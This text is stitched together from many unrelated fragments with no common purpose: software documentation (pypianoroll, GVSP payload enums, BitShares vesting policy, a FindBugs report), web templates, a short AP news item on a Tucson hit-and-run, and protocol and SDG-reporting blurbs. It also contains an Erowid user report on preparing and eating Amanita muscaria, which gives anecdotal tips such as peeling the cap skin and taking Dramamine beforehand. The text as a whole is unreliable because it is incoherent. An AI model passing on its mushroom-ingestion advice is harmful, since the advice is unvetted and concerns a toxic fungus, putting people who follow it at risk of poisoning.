: a JSON file that contains meta data and track information
-
pypianoroll.
load
(filename)[source]¶ Return a
pypianoroll.Multitrack
object loaded from a .npz file.- Parameters
filename (str) – The filename of the .npz file.


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Police search for driver after a fatal hit-and-run in Tucson
TUCSON, Ariz. (AP) - Police in Tucson continue to search for the driver of a pickup truck involved in a fatal hit-and-run crash involving a pedestrian.
Officers responded to the collision Friday night and say 59-year-old Mark Anthony Valenzuela has been identified as the victim.
They say Valenzuela was taken to a nearby hospital, where he later died.
Tucson TV station KOLD reports witnesses at the scene told police the male driver didn’t stop after the collision.
Police say they’re looking for a large, dark-colored pickup truck, fitted with off-road tires.
Investigators found metallic navy blue vehicle parts at the scene that are believed to belong to the vehicle.
Police say based on roadway evidence, they don’t believe speed was a factor in the collision.
Information from: KOLD-TV, http://www.kold.com/
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GVSP payload type constants. More...
Go to the source code of this file.
Enumerations | |
| enum | PvPayloadType { PvPayloadTypeUndefined = -1, PvPayloadTypeImage = 0x0001, PvPayloadTypeRawData = 0x0002, PvPayloadTypeFile = 0x0003, PvPayloadTypeChunkData = 0x0004, PvPayloadTypeExtendedChunkData = 0x0005, PvPayloadTypeDeviceSpecificBase = 0x8000 } |
| GVSP payload type. More... | |
GVSP payload type constants.
| enum PvPayloadType |
GVSP payload type.
| Enumerator | |
|---|---|
| PvPayloadTypeUndefined |
Undefined or non initialized payload type |
| PvPayloadTypeImage |
Image payload type. Access from PvBuffer using PvBuffer::GetImage. |
| PvPayloadTypeRawData |
Raw data payload type. Access from PvBuffer using PvBuffer::GetRawData. |
| PvPayloadTypeFile |
File payload type. Not currently supported. |
| PvPayloadTypeChunkData |
Chunk data payload type. Not currently supported. |
| PvPayloadTypeExtendedChunkData |
Extended chunk data payload type. Not currently supported. |
| PvPayloadTypeDeviceSpecificBase |
Base value for device specific payload type. Not currently supported. |
Copyright (c) 2002-2015 Pleora Technologies Inc.
www.pleora.com


|
BitShares-Core
6.1.0
BitShares blockchain implementation and command-line interface software
|
instant vesting policy More...
#include <vesting_balance_object.hpp>
Public Member Functions | |
| asset | get_allowed_withdraw (const vesting_policy_context &ctx) const |
| bool | is_deposit_allowed (const vesting_policy_context &ctx) const |
| bool | is_deposit_vested_allowed (const vesting_policy_context &) const |
| bool | is_withdraw_allowed (const vesting_policy_context &ctx) const |
| void | on_deposit (const vesting_policy_context &ctx) |
| void | on_deposit_vested (const vesting_policy_context &) |
| void | on_withdraw (const vesting_policy_context &ctx) |
instant vesting policy
This policy allows to withdraw everything that is on a balance immediately
Definition at line 126 of file vesting_balance_object.hpp.
| asset graphene::chain::instant_vesting_policy::get_allowed_withdraw | ( | const vesting_policy_context & | ctx | ) | const |
Definition at line 163 of file vesting_balance_object.cpp.
| bool graphene::chain::instant_vesting_policy::is_deposit_allowed | ( | const vesting_policy_context & | ctx | ) | const |
Definition at line 177 of file vesting_balance_object.cpp.
|
inline |
Definition at line 130 of file vesting_balance_object.hpp.
| bool graphene::chain::instant_vesting_policy::is_withdraw_allowed | ( | const vesting_policy_context & | ctx | ) | const |
Definition at line 187 of file vesting_balance_object.cpp.
| void graphene::chain::instant_vesting_policy::on_deposit | ( | const vesting_policy_context & | ctx | ) |
Definition at line 168 of file vesting_balance_object.cpp.
| void graphene::chain::instant_vesting_policy::on_deposit_vested | ( | const vesting_policy_context & | ) |
Definition at line 172 of file vesting_balance_object.cpp.
| void graphene::chain::instant_vesting_policy::on_withdraw | ( | const vesting_policy_context & | ctx | ) |
Definition at line 183 of file vesting_balance_object.cpp.


Reducing the Nausea and Bad Trip...
I live in Brazil, in the very south of the country. Here in my state (Parana), in winter we have some damn cold temperatures, and I discovered that we had Amanita muscarias avalailable by the Kilo. When we first try the experience, we dried about 60 specimens in the oven at 80 degrees Celsius for about half an hour, with the oven half open. Then we made a tea and divided between 6 people: every single one of them got sick (4 vomited). I was one of the 4, but before that I had the beginning of pleasant effects: body felt kind of light, mind was clearly more controllable (without a tornado of thoughts that is usually hard to control) and visual distortion (not heavy).
Then we tried about 4 other times, all of them with around the same amount of mushroom, sometimes leaving the mushrooms more toasted, other times less but in every single one the nausea was pretty bad. Then I talked with this teacher of the Federal University down here, that told us that we should take the red skin OFF! She is Swiss and is a teacher of anthropology that studies ethnomycology (the study of mushroom interections with cultures). Back in Italy (where she lived), they used to ingest this way, she said, and the nausea was reduced tremendously! I tried and really realized that, eating just 1 Amanita without the red skin, and had a very weird, I would say, but pleasant trip.
Dramamine half an hour before the ingestion (smoked are almost nul effect) ensured no nausea. And here in Brazil, we realized (a council of about five well prepared and informed trippers!) that the ones in the beginning of the season had better trips, while the ones on the end had less peace and more bad trips (restless anxiety, nausea, etc...).
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


I used locations around Minneapolis and the southwest suburbs. So, for example, Edina, Plymouth, Eden Prarie, etc. would be good for testing the functionality. You can use just the city as the address - ex: Edina, MN. See GitHub example all styling options


<remedy>
The <remedy>
element contains steps that are a potential solution for
the problem described in the <condition>
element, the topic
<title>
element, or the <shortdesc>
element.
Typically, a <remedy>
is preceded by a <cause>
.
Category: Troubleshooting elements


{% extends "bootstrap_layout.html" %} {% set active_page = "home" %} {% block content %}
This web app generates 5 movie recommendations based on your movie criteria. Please input a Genre, Year, and Certification below. Click on the upper right corner for a list of possible Genres or Certifications.
{% endblock %}


The Streaming Telemetry Transport Protocol (STTP) is optimized for the demands of transporting high volume
continuous streaming data and related metadata.
The protocol allows for the transmission of any information that can be represented longitudinally, e.g.,
time-series data.
STTP is currently undergoing IEEE standardization (P2664).
Documentation


date_range
{{seasonInfo.startDate}}
edit
{{seasonInfo.lastEdited.date}}
{{playerOne | userIconDisplay}}
{{playerOne | userDisplay:'first_id'}}
vs.
{{playerTwo | userIconDisplay}}
{{playerTwo | userDisplay:'first_id'}}
emoji_flags
{{gamesPlayed}}/{{seasonInfo.gamesTotal}} played


{% for item in plan.items %}
{% if item.item_type == 'Song' %}
{% if item.song.title contains 'CW_' or item.song.title contains 'NPW_' %}
{{item.arrangement.lyrics}}
{%else%}
{% if print_lyrics %}
{{item.arrangement.lyrics}}
{% endif %}
{% if print_ccli_number and item.song.ccli_id != nil %}#{{item.song.ccli_id}} {% endif %}{% if print_author and item.song.author != '' %}by {{item.song.author}}{% endif %}
{% if print_copyright %}{{item.song.copyright}}{% endif %}
{%endif%}
{% endif %}
{% endfor %}
This service has been compiled from various sources including `Common Worship' and `New Patterns for Worship' both of which are Copyright, The Archbishops' Council. All songs reproduced by St Augustine’s Church under CCL licence no 2909


Reactive Form Examples:
Checkbox group created from projected checkboxes
Favourites: {{ form1.controls.fruits?.value }}
Pre-selection based on value passed
Hobbies: {{ form2.controls.hobbies?.value }}
Pre-selection based on value passed from FormGroup
Visited Countries: {{ form3.controls.visited1?.value }}
Disabled checkbox group
Template Driven Form Examples:
Checkbox group created from projected checkboxes
Selected Subjects: {{ subjects }}
Pre-selection based on value passed
All Reptiles: {{ reptiles }}
Disabled checkbox group


--- layout: topic permalink: "/topic/approaches/" title: Current approaches to SDG reporting topic-tag: approaches show-resources: true ---
There are many options for reporting on the SDGs to meet the needs of countries. Countries typically adopt one of three models to reporting on the SDGs:
Several are repurposing and adapting platforms that were utilized to report on the Millennium Development Goals (MDGs).


Project:
FindBugs version: 3.0.1
Code analyzed:
18 lines of code analyzed, in 1 classes, in 1 packages.
| Metric | Total | Density* |
|---|---|---|
| High Priority Warnings | 1 | 55.56 |
| Medium Priority Warnings | 1 | 55.56 |
| Total Warnings | 2 | 111.11 |
(* Defects per Thousand lines of non-commenting source statements)
| Warning Type | Number |
|---|---|
| Correctness Warnings | 1 |
| Dodgy code Warnings | 1 |
| Total | 2 |
Click on a warning row to see full context information.
| Code | Warning |
|---|---|
| RV | Return value of String.trim() ignored in MyFirstApplication.congratulateUser() |
| Code | Warning |
|---|---|
| DLS | Dead store to result in MyFirstApplication.main(String[]) |
This instruction assigns a value to a local variable, but the value is not read or used in any subsequent instruction. Often, this indicates an error, because the value computed is never used.
Note that Sun's javac compiler often generates dead stores for final local variables. Because FindBugs is a bytecode-based tool, there is no easy way to eliminate these false positives.
The return value of this method should be checked. One common cause of this warning is to invoke a method on an immutable object, thinking that it updates the object. For example, in the following code fragment,
String dateString = getHeaderField(name); dateString.trim();
the programmer seems to be thinking that the trim() method will update the String referenced by dateString. But since Strings are immutable, the trim() function returns a new String value, which is being ignored here. The code should be corrected to:
String dateString = getHeaderField(name); dateString = dateString.trim();